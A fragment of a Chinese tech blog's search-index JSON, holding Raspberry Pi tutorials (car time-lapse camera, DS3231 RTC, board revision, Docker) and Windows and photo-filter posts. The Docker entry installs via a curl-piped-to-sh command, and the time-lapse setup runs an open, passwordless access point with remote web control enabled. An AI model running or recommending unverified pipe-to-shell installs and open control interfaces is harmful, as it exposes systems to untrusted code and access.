槽的分割區上，點選滑鼠右鍵，選擇「延伸分割區」。\n延伸磁碟區精靈可以協助使用者改變分割區的大小，請點選下一步。\n接著選擇磁碟與要擴充的分割區大小，預設會使用所有可用的空間，通常用預設值就可以了。\n點選「完成」。\n完成之後，就可以看到 C 槽的分割區整個變大了。\n這時候再從「電腦」中觀察一下 C 槽的狀態，確實馬上就讓 C 槽的空間加大許多，解決了空間不夠的問題。\n","permalink":"https://blog.gtwang.org/windows/resize-a-partition-for-free-in-windows-7/","summary":"\u003cp\u003e本篇介紹如何在 Windows 中改變硬碟分割區的大小，解決 C 槽空間不足的問題。\u003c/p\u003e\n\u003cp\u003e在 Windows 系統上的軟體在安裝時，大部分的資料檔案都是放在 C 槽中，如果在一開始安裝 Windows 系統時，沒有將 C 槽磁碟分割區規劃大一點，在電腦使用了一段時間之後，很容易就會出現 C 槽空間不足的問題。\u003c/p\u003e","title":"Windows 改變硬碟分割區大小步驟教學，解決 C 槽空間不足的問題"},{"content":"免費《你的名字》同款電影濾鏡，可讓照片立即轉變成新海誠動畫風格。\n《你的名字》這部新海誠最新動畫在日本上映後，連續 9 周蟬聯票房冠軍，中國上海的時光相冊公司取得其官方濾鏡授權，提供了《你的名字》同款電影濾鏡，可以讓大家把自己的照片直接轉變成新海誠畫風的照片，效果非常棒！\n名稱：《你的名字》電影濾鏡\n網站：線上濾鏡工具\n它所提供的免費線上工具，不用註冊就可以直接使用！\n將照片透過網頁上傳之後，馬上就可以得到套用濾鏡之後的結果。以下是我測試的幾張照片，首先拿一張用手機照的照片。\n用這個新海誠畫風的濾鏡處理之後，變得很漂亮。\n這張是我在竹科靜心湖拍攝的一張照片。\n轉變成新海誠畫風之後，天空多了很多的變化。\n這是另外一張平淡的竹科靜心湖照片。\n加上天空上的雲朵與鮮豔的樹葉，整張照片就變得很好看。\n這張是新營鐵道文化園區的五分車。\n加上濾鏡之後，變成這樣。\n這張是台南白河關子嶺大仙寺，屬於三級古蹟。\n加上新海誠畫風的濾鏡之後，還有耀眼的陽光。\n這張是德元埤荷蘭村的照片。\n這是高雄旗津的鼓山渡輪站。\n海水處理起來也還不錯。\n這是在旗津半島拍攝的鼓山渡輪。\n","permalink":"https://blog.gtwang.org/funny/your-name-movie-photo-filter/","summary":"\u003cp\u003e免費《你的名字》同款電影濾鏡，可讓照片立即轉變成新海誠動畫風格。\u003c/p\u003e\n\u003cp\u003e《你的名字》這部新海誠最新動畫在日本上映後，連續 9 周蟬聯票房冠軍，中國上海的時光相冊公司取得其官方濾鏡授權，提供了《你的名字》同款電影濾鏡，可以讓大家把自己的照片直接轉變成新海誠畫風的照片，效果非常棒！\u003c/p\u003e","title":"《你的名字》電影濾鏡：讓照片變成新海誠畫風"},{"content":"這裡介紹如何使用樹莓派與 USB 的網路攝影機，拍攝縮時攝影，放在車上就可以作為旅遊的路程紀錄。\n樹莓派是一張平價、但非常多功能的開發板，可以組合出各種的應用，例如加上一個簡單的 USB 網路攝影機，就可以做出縮時攝影的效果，由於它是使用 USB 供電，所以也可以非常方便的安裝在汽車上面，當作旅行的記錄器。\n旅行縮時攝影 這個影片就是我用一張樹莓派 Raspberry Pi Model B+ 開發板與一個羅技 Logitech C920R HD PRO 網路攝影機所拍攝出來的旅行縮時攝影。\n影片剛開始的前幾秒鐘，我還在調整攝影機的角度，裝好之後就開始上路實測了，這段路程只是簡單的一段台南到新營的道路，所以沒有什麼新鮮感，我是打算先打造好這個旅行縮時攝影工具，日後到各地景點旅遊的時候，就可以用這個紀錄沿途的風景了，以下是使用樹莓派打造旅行縮時攝影機的詳細教學。\n基本概念 用樹莓派打造縮時攝影機的觀念很簡單，就是讓樹莓派可以控制 USB 網路攝影機，讓它可以每隔一段固定的時間就自動拍攝一張照片（例如每秒拍攝一張），最後再將這些照片串起來製作成影片，就是所謂的縮時攝影了。\n使用樹莓派打造旅行縮時攝影機，需要的硬體設備主要有以下幾項：\n樹莓派（含 MicroSD 記憶卡、無線網路卡） 不管是哪一代的樹莓派都可以，新一點的樹莓派其 CPU 比較快，可以拍攝比較精細的照片或影片，但是可能要擔心散熱問題，舊的樹莓派 CPU 較慢，既省電、又不會很熱，沒辦法做比較複雜的動作，但我覺得堪用，這裡我示範用的就是第一代的樹莓派 Raspberry Pi Model B+。 USB 網路攝影機 只要是樹莓派支援的 USB 網路攝影機都可以，我是使用羅技 Logitech C920R HD PRO 網路攝影機做示範。 車用 USB 充電器 一般平板電腦用的 2A 車用 USB 充電器，用於樹莓派的供電。 在軟體安裝與設定方面，主要可分為三大項：\nmotion motion 是用來操作網路攝影機，進行照相、錄影與偵測變動部位的工具，我們這裡是使用它的縮時攝影功能。 hostapd hostapd 是用來提供無線網路 AP 的 daemon 服務。 udhcpd udhcpd 是一般的 DHCP 伺服器，負責分配 IP 位址給連線進來的無線網路設備（通常是手機）。 motion 是縮時攝影最關鍵的工具，只要有硬體設備與 motion 就可以進行縮時攝影了，但由於我們會將樹莓派安裝在汽車上，在車上若要裝鍵盤、滑鼠或螢幕通常不太可能，就算真的裝上去也很不方便，透過手機連線的方式會是比較可行的方案。\nhostapd 與 udhcpd 就是用來建立無線網路熱點用的，讓手機可以直接連線至樹莓派，進行各種操作。\n以下我們就要介紹如何使用這些軟硬體自製縮時攝影機。\n安裝 motion 在樹莓派上使用 apt 安裝 motion：\nsudo apt-get install motion 修改 /etc/motion/motion.conf 設定檔，以下是縮時攝影的基本設定方式：\n# 照片解析度 width 1280 height 720 # 關閉輸出變動照片 output_pictures off # jpeg 品質 quality 90 # 關閉輸出影片 ffmpeg_output_movies off # 定時拍照，每秒一張 snapshot_interval 1 # 設定右下方文字 text_right \u0026#34;G.T.Wang\u0026#34; # 設定輸出圖檔檔名格式 snapshot_filename %Y%m%d%H%M%S-snapshot # 開啟串流與網頁管理功能 stream_localhost off webcontrol_localhost off 照片解析度的部分需要依據自己的網路攝影機與樹莓派的規格來調整，通常我們都會希望解析度越高越好，調整的技巧是一開始先調成網路攝影機支援的最大的解析度，然後進行測試，看看是否能正常運作，如果跑不動的話（例如拍攝的過程會漏掉部分的照片，或是樹莓派的負載太重等），再慢慢下修解析度，找出最佳的設定。\nmotion 可以自動將畫面上有變動的部分儲存下來，這個功能在縮時攝影時不需要，所以把 output_pictures 關閉。\n縮時攝影通常比較注重照片的品質，所以對於高規格的網路攝影機，記得將 quality 調高一些。\nffmpeg_output_movies 是可以讓 motion 即時輸出影片檔，但我們我們這裡是在事後使用 ffmpeg 指令的方式自行製作影片，所以不需要這個功能。\nsnapshot_interval 是拍照間隔，單位為秒，設定為 1 代表每秒拍攝一張照片。\ntext_right 是設定右下方的文字，這個預設應該是時間戳記，但是因為樹莓派本身沒有時間的資訊，所以我把它改為一般的文字。\nstream_localhost 與 webcontrol_localhost 兩個參數是設定串流與網頁管理功能是否只有 localhost 能使用，由於我們需要透過 WiFi 存取，所以要設成 off。\n在設定完 motion 的設定檔之後，插上 USB 網路攝影機，重新啟動 motion 服務：\nservice motion restart 另外順便確認一下 motion 服務開機會自動啟動：\nupdate-rc.d motion enable 這個很重要，因為等到我們把樹莓派裝上車之後，沒有鍵盤、滑鼠與螢幕可用，如果他沒有自動啟動就麻煩了。\n另外如果您在啟動 motion 服務時，出現類似這樣的錯誤訊息，就代表目錄的權限有些問題：\nNov 21 00:23:23 raspberrypi motion: [1] [ERR] [ALL] myfopen: Error opening file /var/lib/motion/01-20161121002323-snapshot.jpg with mode w: Nov 21 00:23:23 raspberrypi motion: [1] [ERR] [ALL] put_picture: Can't write picture to file /var/lib/motion/01-20161121002323-snapshot.jpg - check access rights to target directory#012Thread is going to finish due to this fatal error: Nov 21 00:23:23 raspberrypi motion: [1] [ERR] [EVT] event_image_snapshot: Could not create symbolic link [01-20161121002323-snapshot.jpg]: 請手動更改一下 /var/lib/motion 目錄的權限，讓 motion 有權限可以寫入這個目錄：\nsudo chown motion:motion /var/lib/motion 正常來說，現在應該就可以在 /var/lib/motion 這個目錄中看到一些從網路攝影機擷取的照片了。\n樹莓派設定 WiFi 熱點 使用 apt 安裝 hostapd 與 udhcpd：\nsudo apt-get install hostapd udhcpd 編輯 /etc/udhcpd.conf：\n# The start and end of the IP lease block start 192.168.50.20 #default: 192.168.0.20 end 192.168.50.254 #default: 192.168.0.254 # The interface that udhcpd will use interface wlan0 #default: eth0 option subnet 255.255.255.0 編輯 /etc/default/udhcpd 設定檔，啟用 udhcpd 服務：\n# Comment the following line to enable #DHCPD_ENABLED=\u0026#34;no\u0026#34; 編輯 /etc/network/interfaces，設定 wlan0 無線網路，自訂一個虛擬的 IP 位址與網域：\nauto wlan0 iface wlan0 inet static address 192.168.50.1 netmask 255.255.255.0 建立 /etc/hostapd/hostapd.conf 設定檔，內容如下：\ninterface=wlan0 ssid=GTWang hw_mode=g channel=6 auth_algs=1 wmm_enabled=0 其中的 ssid 是無線網路的識別名稱，這個名字可以自己取。\n若是第三代的樹莓派，還要加上這幾行：\nieee80211n=1 # 802.11n support wmm_enabled=1 # QoS support ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40] 因為這個無線網路 AP 只是提供給手機連線至樹莓派使用的，沒有任何上網功能，所以我就不設任何密碼了。如果想要設定密碼，可以使用這個設定：\ninterface=wlan0 driver=nl80211 ssid=GTWang hw_mode=g channel=6 macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 wpa=2 wpa_passphrase=My_Passphrase wpa_key_mgmt=WPA-PSK #wpa_pairwise=TKIP # 低安全性加密，適用於舊設備 rsn_pairwise=CCMP 編輯 /etc/default/hostapd 設定檔，指定 hostapd 的設定檔位置：\nDAEMON_CONF=\u0026#34;/etc/hostapd/hostapd.conf\u0026#34; 重新啟動 hostapd 與 udhcpd 服務：\nsudo service hostapd start sudo service udhcpd start 並確認這兩個服務也都會在開機時自動啟動：\nsudo update-rc.d hostapd enable sudo update-rc.d udhcpd enable 關於樹莓派的 AP 設定，也可以參考樹莓派 Raspberry Pi 設定無線網路 WiFi AP 這篇文章。\n樹莓派系統校調 最後可以觀察一下樹莓派的運行狀況，如果記憶體不足的話，可以將幾個沒有用到的服務關閉，例如 DHCP 的 client 與 ntp 校時服務在沒有對外網路的環境通常是用不到的：\nsudo update-rc.d dhcpcd disable sudo update-rc.d ntp disable 而藍芽通常也很少用，若使用 Raspberry Pi 3 的話也可以關掉：\nsudo update-rc.d bluetooth disable X Window 桌面也是非常耗費記憶體空間的，可以使用 raspi-config 這個設定工具將開機模式設定為文字模式：\nsudo raspi-config 在 Boot Options 中設定開機進入 Console 模式，順便將 Splash Screen關閉，這樣可加快開機速度。\n在沒有用到 X Window 的情況下，可將 GPU 的記憶體配置調降一些，這樣可以讓系統有更多記憶體可以使用，這部分一樣是在 raspi-config 的選單中做調整，在 Advanced Options 中選擇 Memory Split，設定 GPU 的記憶體為 16 MB。\n必要時也可以考慮調整一下樹莓派的 swap 記憶體交換空間，不過以我的例子來說是不需要。\n準備好所有的軟硬體與設定之後，接下來就是最重要的裝機實測了。\n設備安裝 這個自製的旅行縮時攝影設備只需要一張樹莓派開發板與一個 USB 網路攝影機。\n因為這一組設備我想要直接放在車上，所以就選一張舊的樹莓派來用，這一張是第一代的 Raspberry Pi Model B+ V1.2，CPU 只有 700 MHz，這個速度當作 PC 用的話通常不太夠，但放在車上用剛好，既省電又不會太熱。\n電源的部分就使用一般車用的 USB 充電器就可以了，建議挑選有 2A 以上給平板用的那種。\n將設定好的樹莓派接上 USB 網路攝影機與電源，正常的話不用一分鐘就會自動啟動攝影機，開始拍攝縮時攝影了。\n網路攝影機就看自己喜歡放在哪個角度，通常掛在車內後照鏡上。\n在車上安裝攝影機的鏡頭時，最常見的問題就是沒有螢幕，看不到鏡頭拍攝的角度，這時候我們就可以拿出手機，連線至樹莓派的 WiFi 熱點，接著用瀏覽器打開樹莓派的 8081 連接埠，就可以看到串流影像了，以我的例子來說，樹莓派的 IP 位址我設定為 192.168.50.1，就用瀏覽器開啟這個網址：\nhttp://192.168.50.1:8081/ 串流的畫面看起來就像這樣：\n這樣我們就可以看著手機上鏡頭的畫面，輕鬆調整鏡頭的角度了。\n這個串流畫面會有幾秒鐘的延遲，這可能跟樹莓派的處理速度有關係，不過實際操作上影響不大，只是在調整攝影機角度時，要稍微等個兩、三秒，再看看畫面是否合適。\n調整好網路攝影機的角度之後，就可以開始使用這個自己打造的縮時攝影機了，也就是說接下來樹莓派就會以每秒一張的速度，將畫面拍攝下來，儲存在儲存媒體中。\n樹莓派的 8080 連接埠還有 motion 提供的網頁操作介面，如果需要對 motion 進行各種控制，就可以透過這個方式。\n就我個人的使用狀況而言，在使用的過程中車內有開冷氣的狀態下，樹莓派的溫度都在攝氏四十幾度左右，下面這張圖是我用手機的 RasPi Check App 查看樹莓派的狀態資訊快照。\n舊版樹莓派的好處就是省電、溫度非常低，但是缺點就是 CPU 運算速度不夠快，如果想要製作更高畫質或拍攝頻率更高的影片，可以考慮使用新的樹莓派板子。\n如果您是使用比較新版的樹莓派，散熱的問題可能就要注意，例如夏天不要放在陽光下直曬，或是放在冷氣口散熱。\n原則上來說，USB 網路攝影機並沒有特別一定要使用哪一款，只要是樹莓派支援的 USB 網路攝影機都可以使用，除了本文中的這個網路攝影機，我也用過羅技的 C170 這一個網路攝影機，使用方式都完全一樣。Embedded Linux Wiki 有一張 RPi USB Webcams 表格可以參考。\n在車子到達目的地時，先把車子停好之後，在車子熄火之前，使用 RasPi Check 這類的手機 App 控制樹莓派正常關機，確保所有的照片都正常寫入儲存媒體，接著再將汽車熄火。\n當然如果不想那麼麻煩，也可以在停好車等個幾秒鐘（或是幾十秒）之後，直接將汽車熄火，通常照片也是可以正常寫入的，只是沒那麼保險。\n製作影片 縮時攝影的照片拍攝完成後，可以將樹莓派的記憶卡取下來，放在 Linux 的個人電腦中掛載起來讀取照片。\n所有拍攝的照片預設會儲存在 /var/lib/motion 目錄中，檔案名稱會類似 01-20161121023805-snapshot.jpg 這樣以日期來編碼的檔名。在製作影片之前，可以先自己篩選一下照片，把一些 NG 的照片刪掉。\n接著把所有要用來製作影片的照片放在同一個目錄中，如果您想要把照片分組，製作多個影片，就把照片分別放在多個不同的目錄中，這樣比較方便處理。\n在含有照片的目錄中，執行以下這段指令稿，將所有的照片依照順序重新以數字命名：\n/bin/ls *.jpg | perl -ne \u0026#39;chomp;printf \u0026#34;mv $_ %04d.jpgn\u0026#34;,$i++\u0026#39; | sh 這樣的作用是方便把所有的照片一次交給 ffmpeg 處理，接著呼叫 ffmpeg 製作影片：\nffmpeg -r 20 -i %04d.jpg output.mp4 如果在比較新的 Linux 發行版中，ffmpeg 可能會被 avconv 取代，不過指令大同小異：\navconv -r 20 -i %04d.jpg output.mp4 這樣產生出來的 output.mp4 就是縮時攝影的結果了。下面這段影片是我在下雨天拍攝的旅行縮時攝影。\n紀錄日期與時間 樹莓派的硬體中並沒有實時時鐘（RTC）的配備，也就是說樹莓派在斷電的狀態下是沒有辦法紀錄正確的時間的，如果有網路的話，我們可以在開機時透過 ntp 網路校時的方式取得正確的時間，但若是沒有網路的話（例如裝在汽車上），樹莓派是無法得知正確的時間的，所以在前面的示範教學中，在設定 motion 時，直接將照片中的時間戳記改為一般的文字，因為沒有正確的時間資訊，寫上去的時間也是錯的。\n若想要在沒有網路的環境下，又可以保有正確的時間，可以在樹莓派上加裝一個 DS3231 RTC，這樣樹莓派在開機時就可以從這個 RTC 取得正確的時間，之後在拍攝縮時攝影照片時，就可以將正確的時間打在照片上。\n加裝了 DS3231 RTC，有了正確的時間之後，接著再修改 /etc/motion/motion.conf 設定檔，將右下方的文字改為時間戳記：\n#text_right %Y-%m-%dn%T-%q #text_right \u0026#34;G.T.Wang\u0026#34; text_right %Y-%m-%dn%T 這裡我用的時間戳記是年-月-日加上時間，這個格式可以自行調整，如果您設定一秒拍攝一張以上的畫面，可以再加上 %q 這個 frame 的編號。\n加上時間戳記之後，拍攝出來的照片就會記錄下拍攝的時間，讓旅程的紀錄更完整。\n以下就是加上時間戳記的縮時攝影。\n上面這段影片中，中間大約在 1:03 左右的地方我開進加油站加油，這一次我沒有讓樹莓派正常關機就直接熄火，導致熄火前十幾秒的畫面圖檔都沒有寫入儲存媒體（那些檔案的大小都是零），所以中間這一段就漏掉了。所以如果是要錄製重要的畫面，記得要讓樹莓派正常關機。\n參考資料 Embedded Linux Wiki ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-time-lapse-using-motion-and-webcam/","summary":"\u003cp\u003e這裡介紹如何使用樹莓派與 USB 的網路攝影機，拍攝縮時攝影，放在車上就可以作為旅遊的路程紀錄。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/categories/%E6%A8%B9%E8%8E%93%E6%B4%BE/\"\u003e樹莓派\u003c/a\u003e是一張平價、但非常多功能的開發板，可以組合出各種的應用，例如加上一個簡單的 USB 網路攝影機，就可以做出縮時攝影的效果，由於它是使用 USB 供電，所以也可以非常方便的安裝在汽車上面，當作旅行的記錄器。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 與 USB 網路攝影機，自製縮時攝影設備教學"},{"content":"本篇介紹如何在樹莓派上面安裝 DS3231 RTC 實時時鐘，以及其設定與使用的方式。\nDS3231 是一個 I2C 介面的實時時鐘（real-time clock，RTC），上面附帶有一顆電池，在沒有電源供應的情況下也可以紀錄精準的時間。\n這個就是 DS3231 RTC 實時時鐘，可以直接插在樹莓派的 GPIO 針腳上。\nDS3231 在常溫下（攝氏 0 至 40 度）的準確度可以達到 ±2ppm，也就是一天的時間誤差可在 86400 * 2 / 1e6 = 0.1728 秒之內。\n樹莓派安裝 DS3231 RTC DS3231 RTC 的安裝方式很簡單，直接插在樹莓派的第 1、3、5、7、9 這幾個針腳即可。\n就像這樣插上去，注意要插在內側這一排針腳上，若插錯排是不能用的。\n基本上這一個 DS3231 RTC 裝在這個位置不太會擋住其他的硬體組件。\n這種壓克力外殼也剛剛好可以裝的下這個 DS3231 RTC，蓋子也不會卡到。\n設定 DS3231 RTC 硬體安裝好之後，接著要設定軟體，將樹莓派開機後，使用 raspi-config 設定工具，啟用 I2C 核心模組：\nsudo raspi-config 載入了 I2C 模組之後，使用 i2cdetect 偵測 I2C 裝置。對於 Rev 2 的板子，可使用：\n# Rev 2 板子 sudo i2cdetect -y 1 如果是 Rev 1 的板子，則使用：\n# Rev 1 板子 sudo i2cdetect -y 0 1 2 3 4 5 6 7 8 9 a b c d e f 00: -- -- -- -- -- -- -- -- -- -- -- -- -- 10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 60: -- -- -- -- -- -- -- -- 68 -- -- -- -- -- -- -- 70: -- -- -- -- -- -- -- -- 若要得知樹莓派的 Revision 資訊，可以參考查詢樹莓派 Raspberry Pi 開發版的 Revision 版本資訊。\n在 0x68 這個位置上有發現一個裝置，這個被偵測到的 I2C 裝置就是剛插上去的 DS3231 RTC，在使用之前要先新增這個 RTC，Rev 2 的板子則執行：\n# Rev 2 板子 sudo echo ds3231 0x68 \u0026gt; /sys/class/i2c-adapter/i2c-1/new_device 若是 Rec 1 的板子則執行：\n# Rev 1 板子 sudo echo ds3231 0x68 \u0026gt; /sys/class/i2c-adapter/i2c-0/new_device 這時候若再執行一次 i2cdetect，則輸出會變成這樣：\n0 1 2 3 4 5 6 7 8 9 a b c d e f 00: -- -- -- -- -- -- -- -- -- -- -- -- -- 10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 60: -- -- -- -- -- -- -- -- UU -- -- -- -- -- -- -- 70: -- -- -- -- -- -- -- -- 原本的 0x68 的位置變成了 UU，這就代表這個裝置已經被某個驅動程式使用了。接著就可以使用這個 DS3231 RTC 實時時鐘了。\n首先測試一下是否可以讀取到 RTC 的時間資訊：\nsudo hwclock -r 正常來說會看到類似這樣的時間訊息：\nSat 01 Jan 2000 12:33:54 AM UTC -0.859545 seconds 現階段只要可以讀的到時間資訊就表示 RTC 的安裝沒有問題，時間是不是正確的倒是無所謂，我們隨後會再校正時間。如果沒抓到 RTC 的話，通常就會出現這樣的錯誤訊息：\nhwclock: Cannot access the Hardware Clock via any known method. hwclock: Use the --debug option to see the details of our search for an access method. 使用 DS3231 RTC 接著要設定正確的日期與時間，如果有連上網路的話，可以用 ntp 校時：\n# 啟動 ntp 服務進行網路校時 sudo service ntp start 或手動使用 ntpdate：\n# 手動以 ntpdate 進行網路校時 sudo ntpdate 0.tw.pool.ntp.org 如果沒有網路，也可以用 date 手動調整時間：\n# 手動輸入時間 date -s \u0026#34;2016-11-23 08:30:25\u0026#34; 確認 Linux 系統的時間是正確的之後，再將正確的時間寫入硬體的 RTC 中：\n# 將系統時間寫入硬體 RTC sudo hwclock -w 接著在讀取硬體 RTC 的時間，看看是否正確：\n# 讀取硬體 RTC 時間 sudo hwclock -r 若要將 Linux 的系統時間設定為硬體 RTC 的時間，可以執行：\n# 將 Linux 系統時間設定為硬體 RTC 時間 sudo hwclock -s Wed 23 Nov 2016 10:37:15 AM CST -0.717978 seconds 我們可以使用 timedatectl 查看所有的時間資訊：\n# 查看所有的時間資訊 timedatectl Local time: Wed 2016-11-23 10:35:52 CST Universal time: Wed 2016-11-23 02:35:52 UTC RTC time: Wed 2016-11-23 02:35:52 Time zone: Asia/Taipei (CST, +0800) NTP enabled: no NTP synchronized: yes RTC in local TZ: no DST active: n/a 確認所有的時間都正確之後，接下來就是要設定讓樹莓派在開機時，可以自動啟用 DS3231 RTC，編輯 /etc/rc.local 設定檔，在 exit 0 之前加入兩行指令，Rev 2 的板子則加入：\n# Rev 2 板子 echo ds3231 0x68 \u0026gt; /sys/class/i2c-adapter/i2c-1/new_device sudo hwclock -s Rev 1 的版本為：\n# Rev 1 板子 echo ds3231 0x68 \u0026gt; /sys/class/i2c-adapter/i2c-0/new_device sudo hwclock -s 參考資料 Raspberry Pi Spy 葉難 adafruit MAKEHUB.tw ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-ds3231-real-time-clock/","summary":"\u003cp\u003e本篇介紹如何在樹莓派上面安裝 DS3231 RTC 實時時鐘，以及其設定與使用的方式。\u003c/p\u003e\n\u003cp\u003eDS3231 是一個 I2C 介面的\u003ca href=\"https://zh.wikipedia.org/zh-tw/%E5%AF%A6%E6%99%82%E6%99%82%E9%90%98\"\u003e實時時鐘\u003c/a\u003e（real-time clock，RTC），上面附帶有一顆電池，在沒有電源供應的情況下也可以紀錄精準的時間。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 安裝 DS3231 RTC 實時時鐘教學"},{"content":"這裡介紹如何判斷樹莓派的 Revision 版本資訊。\n樹莓派開發板有非常多種硬體版本，不同版本之間都有一些小差異，以下介紹如何確認自己的板子是哪一種。\n樹莓派的 Revision 版本資訊可以從 /proc/cpuinfo 這個檔案查到：\ncat /proc/cpuinfo 輸出會類似這樣：\nprocessor\t: 0 model name\t: ARMv6-compatible processor rev 7 (v6l) BogoMIPS\t: 697.95 Features\t: half thumb fastmult vfp edsp java tls CPU implementer\t: 0x41 CPU architecture: 7 CPU variant\t: 0x0 CPU part\t: 0xb76 CPU revision\t: 7 Hardware\t: BCM2708 Revision\t: 0010 Serial\t: 00000000e6e43fda 其中的 Revision 欄位就是硬體版本的十六進位碼，以下是硬體 Revision 與板子 Revision 的對照表：\n樹莓派 Revision 版本 記憶體大小 cpuinfo 的硬體 Revision 版本 Model B Rev 1 256MB 0002 Model B Rev 1 ECN0001 (no fuses, D14 removed) 256MB 0003 Model B Rev 2 256MB 0004 0005 0006 Model A 256MB 0007 0008 0009 Model B Rev 2 512MB 000d 000e 000f Model B+ 512MB 0010 0013 Compute Module 512MB 0011 Model A+ 256MB 0012 Compute 512MB 0014 (Embest, China) Model A+ 256MB 0015 (Embest, China) Pi 2 Model B 1GB a01041 (Sony, UK) a21041 (Embest, China) PiZero 512MB 900092 Pi 3 Model B 1GB a02082 (Sony, UK) a22082 (Embest, China) 參考資料 Raspberry Pi Spy ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/checking-raspberry-pi-board-reversion/","summary":"\u003cp\u003e這裡介紹如何判斷樹莓派的 Revision 版本資訊。\u003c/p\u003e\n\u003cp\u003e樹莓派開發板有非常多種硬體版本，不同版本之間都有一些小差異，以下介紹如何確認自己的板子是哪一種。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"查詢樹莓派 Raspberry Pi 開發版的 Revision 版本資訊"},{"content":"這裡介紹如何在樹莓派中安裝與使用 Docker，下載樹莓派專用的 container 映像檔。\n樹莓派是一張名片大小的開發板，適合用於各類型的物聯網（IOT）應用，連 Docker 也可以運行在上面，甚至用它來架設叢集電腦（cluster）。\n以下是在樹莓派安裝最新 Docker 的步驟，以及下載樹莓派專用的 container 映像檔的教學。\n安裝 Docker 若要安裝最新板的 Docker，可以使用 Docker 官方所提供的安裝指令稿，只要一行指令就可以自動安裝完成：\ncurl -sSL https://get.docker.com | sh 安裝完成後，最後的輸出訊息內容會類似這樣：\nClient: Version: 1.12.3 API version: 1.24 Go version: go1.6.3 Git commit: 6b644ec Built: Wed Oct 26 19:06:36 2016 OS/Arch: linux/arm Server: Version: 1.12.3 API version: 1.24 Go version: go1.6.3 Git commit: 6b644ec Built: Wed Oct 26 19:06:36 2016 OS/Arch: linux/arm If you would like to use Docker as a non-root user, you should now consider adding your user to the \"docker\" group with something like: sudo usermod -aG docker pi Remember that you will have to log out and back in for this to take effect! 這裡除了顯示 Docker 的版本之外，也說明了使用者帳號的設定，所有需要操作 Docker 的使用者都要加入 docker群組。\n接著將 pi 這個使用者帳號加入 docker 群組：\nsudo usermod -aG docker pi 搜尋 Docker Hub 上的 container 映像檔，由於樹莓派是使用 ARM 的 CPU，所以一般 x86 的 container 映像檔都不太能用，大概只能找 raspbian 相關的 container 映像檔：\ndocker search raspbian NAME DESCRIPTION STARS OFFICIAL AUTOMATED resin/rpi-raspbian Base image for the Raspberry Pi. Contains ... 194 sdhibit/rpi-raspbian Base raspbian image for ARM hard float boa... 44 [OK] mdsakalu/rpi-raspbian-ffmpeg Rasbian with ffmpeg compiled for the Raspb... 3 [OK] matthuisman/raspbian Minimal Raspbian Docker Image for Raspberr... 2 philipz/rpi-raspbian 2 [OK] jsurf/rpi-raspbian raspbian jessie base image with cross buil... 2 [OK] 這裡沒有官方製作的 container 映像檔，而 Resin.io 所製作的 container 映像檔是最多 STARS 的一個，所以我們選用這個來測試：\ndocker pull resin/rpi-raspbian 在 resin/rpi-raspbian 這個 container 中執行 hello world 程式：\ndocker run resin/rpi-raspbian /bin/echo \u0026#39;Hello world\u0026#39; Hello world 進入 container 的互動式操作環境：\ndocker run -ti resin/rpi-raspbian 補充資料 在樹莓派中雖然其官方的 apt 套件庫就已經有收錄 Docker 的套件，不過由於這個套件不夠新，有些功能可能會有問題，以下是我在測試時所遇到的問題，在這裡紀錄一下。\n使用 apt 安裝 Docker、設定使用者群組：\nsudo apt-get install docker.io sudo usermod -aG docker pi docker version Client version: 1.3.3 Client API version: 1.15 Go version (client): go1.3.2 Git commit (client): d344625 OS/Arch (client): linux/arm Server version: 1.3.3 Server API version: 1.15 Go version (server): go1.3.2 Git commit (server): d344625 搜尋 raspbian 相關的 container：\ndocker search raspbian NAME DESCRIPTION STARS OFFICIAL AUTOMATED resin/rpi-raspbian Base image for the Raspberry Pi. Contains ... 194 sdhibit/rpi-raspbian Base raspbian image for ARM hard float boa... 44 [OK] mdsakalu/rpi-raspbian-ffmpeg Rasbian with ffmpeg compiled for the Raspb... 3 [OK] philipz/rpi-raspbian 2 [OK] jsurf/rpi-raspbian raspbian jessie base image with cross buil... 2 [OK] 下載 container 映像檔時會出現一些問題：\ndocker pull resin/rpi-raspbian Pulling repository resin/rpi-raspbian 2016/11/16 02:21:55 Could not reach any registry endpoint 使用 apt 安裝的 Docker 其版本是 1.3.3，根據 Docker 官方的資訊，Docker 1.5 或更舊的版本在搜尋映像檔時就會出現這個問題，也就是說現階段要下載 container 映像檔，必須安裝最新板的 Docker 才可以。\n參考資料 Raspberry Pi alex ellis\u0026rsquo; blog ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/raspberry-pi-docker-installation-tutorial/","summary":"\u003cp\u003e這裡介紹如何在樹莓派中安裝與使用 Docker，下載樹莓派專用的 container 映像檔。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/categories/iot/raspberry-pi/\"\u003e樹莓派\u003c/a\u003e是一張名片大小的開發板，適合用於各類型的\u003ca href=\"/categories/iot/\"\u003e物聯網（IOT）\u003c/a\u003e應用，連 Docker 也可以運行在上面，甚至用它來架設叢集電腦（cluster）。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     